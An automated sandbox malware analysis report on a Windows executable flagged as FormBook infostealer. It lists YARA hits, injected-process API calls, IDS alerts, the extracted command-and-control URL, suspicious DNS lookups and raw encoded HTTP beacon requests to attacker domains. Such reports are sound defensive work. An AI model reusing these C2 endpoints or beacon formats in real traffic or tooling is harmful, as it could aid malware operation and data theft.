Windows Analysis Report
kHslwiV2w6.exe

Suricata IDS alerts for network traffic

Source: Yara match	File source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D20115 SysStringLen,CryptDestroyKey,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,SysStringLen,SysStringLen,CryptImportKey,free,SysStringLen,CryptDecrypt,SysAllocStringByteLen,SysFreeString,free,	5_2_00D20115
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D1FD30 CryptExportKey,GetLastError,malloc,CryptExportKey,GetLastError,free,	5_2_00D1FD30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D1DAFB CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,	5_2_00D1DAFB
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D1FA58 CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGenKey,GetLastError,GetLastError,	5_2_00D1FA58
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D1FE35 CryptBinaryToStringW,GetLastError,malloc,CryptBinaryToStringW,GetLastError,free,SysFreeString,	5_2_00D1FE35
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D20383 SysStringLen,CryptImportKey,GetLastError,CryptGenKey,GetLastError,CryptEncrypt,GetLastError,free,malloc,memset,memcpy,CryptEncrypt,GetLastError,free,SysFreeString,SysFreeString,CryptDestroyKey,CryptDestroyKey,SysFreeString,	5_2_00D20383
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D1FF58 CryptStringToBinaryW,GetLastError,malloc,CryptStringToBinaryW,GetLastError,	5_2_00D1FF58

Source: kHslwiV2w6.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: csc.exe, 00000003.00000002.6907354046.0000000005C30000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 00000003.00000002.6907354046.0000000005D5D000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 00000003.00000003.6839534586.0000000005A89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000003.00000003.6836618547.00000000058D6000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000003.6906389856.0000000004C10000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11882185438.000000000508D000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000005.00000003.6909732118.0000000004DB3000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11882185438.0000000004F60000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: csc.exe, csc.exe, 00000003.00000002.6907354046.0000000005C30000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 00000003.00000002.6907354046.0000000005D5D000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 00000003.00000003.6839534586.0000000005A89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000003.00000003.6836618547.00000000058D6000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, raserver.exe, 00000005.00000003.6906389856.0000000004C10000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11882185438.000000000508D000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000005.00000003.6909732118.0000000004DB3000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11882185438.0000000004F60000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RAServer.pdb source: csc.exe, 00000003.00000002.6908271712.0000000005FB0000.00000040.10000000.00040000.00000000.sdmp, csc.exe, 00000003.00000002.6906475717.0000000005237000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, raserver.exe, 00000005.00000002.11880773620.0000000000D10000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: StrongNameFreeBufferStrongNameTokenFromPublicKeyStrongNameErrorInfo.PDBdiasymreader.dllDllGetClassObject%X%X%X%X%X%X%X%X%X%X%X.TMP0x%016I64xCSCalink.dll with IAlink3 source: explorer.exe, 00000004.00000002.11899785830.0000000013F5F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.000000000554F000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11881524819.0000000004C14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RAServer.pdbGCTL source: csc.exe, 00000003.00000002.6908271712.0000000005FB0000.00000040.10000000.00040000.00000000.sdmp, csc.exe, 00000003.00000002.6906475717.0000000005237000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000005.00000002.11880773620.0000000000D10000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: csc.pdb source: explorer.exe, 00000004.00000002.11899785830.0000000013F5F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.000000000554F000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11881524819.0000000004C14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: csc.pdbF source: explorer.exe, 00000004.00000002.11899785830.0000000013F5F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.000000000554F000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11881524819.0000000004C14000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 4x nop then mov rax, rcx	0_2_00007FF72F619FC0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 4x nop then push rbx	0_2_00007FF72F65CC30
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 4x nop then sub rsp, 28h	0_2_00007FF72F687A90
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 4x nop then push rbx	0_2_00007FF72F62FAA0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 4x nop then sub rsp, 28h	0_2_00007FF72F62F9C0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 4x nop then push rdi	0_2_00007FF72F684450
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 4x nop then push rdi	0_2_00007FF72F680200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 4x nop then pop esi	3_2_0041731B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 4x nop then pop ebx	3_2_00407B20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then pop esi	5_2_00C6731B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then pop ebx	5_2_00C57B22

Networking

Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49748 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49752 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49744 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49752 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49749 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49752 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49746 -> 172.67.130.46:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49748 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49749 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49744 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49749 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49746 -> 172.67.130.46:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49741 -> 172.67.143.211:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49746 -> 172.67.130.46:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49741 -> 172.67.143.211:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49744 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49741 -> 172.67.143.211:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49736 -> 172.66.0.70:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49748 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49736 -> 172.66.0.70:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49736 -> 172.66.0.70:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49738 -> 104.18.188.223:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49738 -> 104.18.188.223:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49738 -> 104.18.188.223:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49740 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49740 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49740 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49742 -> 103.235.47.188:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49742 -> 103.235.47.188:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49742 -> 103.235.47.188:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49747 -> 63.141.128.16:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49747 -> 63.141.128.16:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49747 -> 63.141.128.16:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49750 -> 192.250.227.27:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49750 -> 192.250.227.27:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49750 -> 192.250.227.27:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49751 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49751 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49751 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49739 -> 52.206.163.162:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49739 -> 52.206.163.162:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49739 -> 52.206.163.162:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49743 -> 104.247.81.174:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49743 -> 104.247.81.174:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49743 -> 104.247.81.174:80
Source: Network traffic	Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49745 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49745 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.11.20:49745 -> 198.185.159.144:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 172.66.0.70 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.upcyclecharms.com/md02/

Performs DNS queries to domains with low reputation

Source:	DNS query: www.yeslabs.xyz
Source:	DNS query: www.woby.xyz
Source:	DNS query: www.j3k7n.xyz
Source:	DNS query: www.coinbureau.xyz

Source: global traffic	HTTP traffic detected: GET /md02/?all=h80NDNStJT1K2TvWS0Hn00m/568InfN4qw4a/Ot4iW3ni2fqEGOFCNj8nYFszZLP0eyh&P6=6lUxOJCX68zXY HTTP/1.1Host: www.andrewghita.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=VJE6G0uhaXXjZ9YRdQlMdfAmJtBHOO9P9ftsD0Za8iws3BCdMQRNDr5e7yfdzu876eSq&P6=6lUxOJCX68zXY HTTP/1.1Host: www.attorney-services-8344642.zoneConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=PFllZ1wBFT+zd6wAz/9Wh67A0WfaovzBimzeDVQv10BU1t/rlxqvwJuzFJn/ILzX+D6Y&P6=6lUxOJCX68zXY HTTP/1.1Host: www.yeslabs.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=ItgQDVkBdIs0QziWKwlLzzQfsI1xbGOZBoDnu4i2Zg+9o67qJyVsSqA76p+pq/A3lGOx&P6=6lUxOJCX68zXY HTTP/1.1Host: www.vizamag.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=PZp0UtAd/MX+bbfmlI0lLX5uB5dB2ubu0xorlIAgjhA6JQ6omJZi4VnySSsC/hEyaNVU&P6=6lUxOJCX68zXY HTTP/1.1Host: www.tigajco69.funConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=Huvb14uAl+TqSP+sM2oBgNUO4U2JwQZ3Rl/9gDSI5Y6jcOUTIOoj4XqjJyA8WIhVJbwk&P6=6lUxOJCX68zXY HTTP/1.1Host: www.upcyclecharms.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 198.185.159.144 198.185.159.144
Source: Joe Sandbox View	IP Address: 198.185.159.144 198.185.159.144
Source: Joe Sandbox View	IP Address: 52.206.163.162 52.206.163.162

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: SQUARESPACEUS SQUARESPACEUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\explorer.exe

Code function: 4_2_0287DF82 getaddrinfo,setsockopt,recv,

4_2_0287DF82

Source: global traffic	HTTP traffic detected: GET /md02/?all=h80NDNStJT1K2TvWS0Hn00m/568InfN4qw4a/Ot4iW3ni2fqEGOFCNj8nYFszZLP0eyh&P6=6lUxOJCX68zXY HTTP/1.1Host: www.andrewghita.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=VJE6G0uhaXXjZ9YRdQlMdfAmJtBHOO9P9ftsD0Za8iws3BCdMQRNDr5e7yfdzu876eSq&P6=6lUxOJCX68zXY HTTP/1.1Host: www.attorney-services-8344642.zoneConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=PFllZ1wBFT+zd6wAz/9Wh67A0WfaovzBimzeDVQv10BU1t/rlxqvwJuzFJn/ILzX+D6Y&P6=6lUxOJCX68zXY HTTP/1.1Host: www.yeslabs.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=ItgQDVkBdIs0QziWKwlLzzQfsI1xbGOZBoDnu4i2Zg+9o67qJyVsSqA76p+pq/A3lGOx&P6=6lUxOJCX68zXY HTTP/1.1Host: www.vizamag.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=PZp0UtAd/MX+bbfmlI0lLX5uB5dB2ubu0xorlIAgjhA6JQ6omJZi4VnySSsC/hEyaNVU&P6=6lUxOJCX68zXY HTTP/1.1Host: www.tigajco69.funConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /md02/?all=Huvb14uAl+TqSP+sM2oBgNUO4U2JwQZ3Rl/9gDSI5Y6jcOUTIOoj4XqjJyA8WIhVJbwk&P6=6lUxOJCX68zXY HTTP/1.1Host: www.upcyclecharms.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic	DNS traffic detected: DNS query: www.andrewghita.com
Source: global traffic	DNS traffic detected: DNS query: www.attorney-services-8344642.zone
Source: global traffic	DNS traffic detected: DNS query: www.yeslabs.xyz
Source: global traffic	DNS traffic detected: DNS query: www.vizamag.com
Source: global traffic	DNS traffic detected: DNS query: www.tigajco69.fun
Source: global traffic	DNS traffic detected: DNS query: www.zruypj169g.top
Source: global traffic	DNS traffic detected: DNS query: www.pittsparking.com
Source: global traffic	DNS traffic detected: DNS query: www.woby.xyz
Source: global traffic	DNS traffic detected: DNS query: www.j3k7n.xyz
Source: global traffic	DNS traffic detected: DNS query: www.upcyclecharms.com
Source: global traffic	DNS traffic detected: DNS query: www.piedge-taiko.net
Source: global traffic	DNS traffic detected: DNS query: www.z8ggd.com
Source: global traffic	DNS traffic detected: DNS query: www.qqkartel88v1.com
Source: global traffic	DNS traffic detected: DNS query: www.webuyandsellpa.com
Source: global traffic	DNS traffic detected: DNS query: www.coinbureau.xyz
Source: global traffic	DNS traffic detected: DNS query: www.localhomeservicesadvisor.com
Source: global traffic	DNS traffic detected: DNS query: www.saeutah.com
Source: global traffic	DNS traffic detected: DNS query: www.jalaios10.vip
Source: global traffic	DNS traffic detected: DNS query: www.chiri.lat
Source: global traffic	DNS traffic detected: DNS query: www.equipoleiremnacional.com
Source: global traffic	DNS traffic detected: DNS query: www.rakring.com
Source: global traffic	DNS traffic detected: DNS query: www.rslotrank.win

Source: explorer.exe, 00000004.00000002.11890837892.000000000CEB5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CEB5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: kHslwiV2w6.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: kHslwiV2w6.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: explorer.exe, 00000004.00000002.11890837892.000000000CEB5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CEB5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: kHslwiV2w6.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: kHslwiV2w6.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: explorer.exe, 00000004.00000002.11883777705.000000000441B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6844442459.000000000441B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ns.adv
Source: explorer.exe, 00000004.00000002.11890837892.000000000CEB5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CEB5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000004.00000002.11886221151.00000000092C2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000092C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crl
Source: kHslwiV2w6.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: explorer.exe, 00000004.00000000.6850085192.000000000A410000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.6849741025.00000000099B0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.6843752176.0000000002DB0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.andrewghita.com
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.andrewghita.com/md02/
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.andrewghita.com/md02/www.attorney-services-8344642.zone
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.andrewghita.comReferer:
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.attorney-services-8344642.zone
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.attorney-services-8344642.zone/md02/
Source: explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.attorney-services-8344642.zone/md02/www.yeslabs.xyz
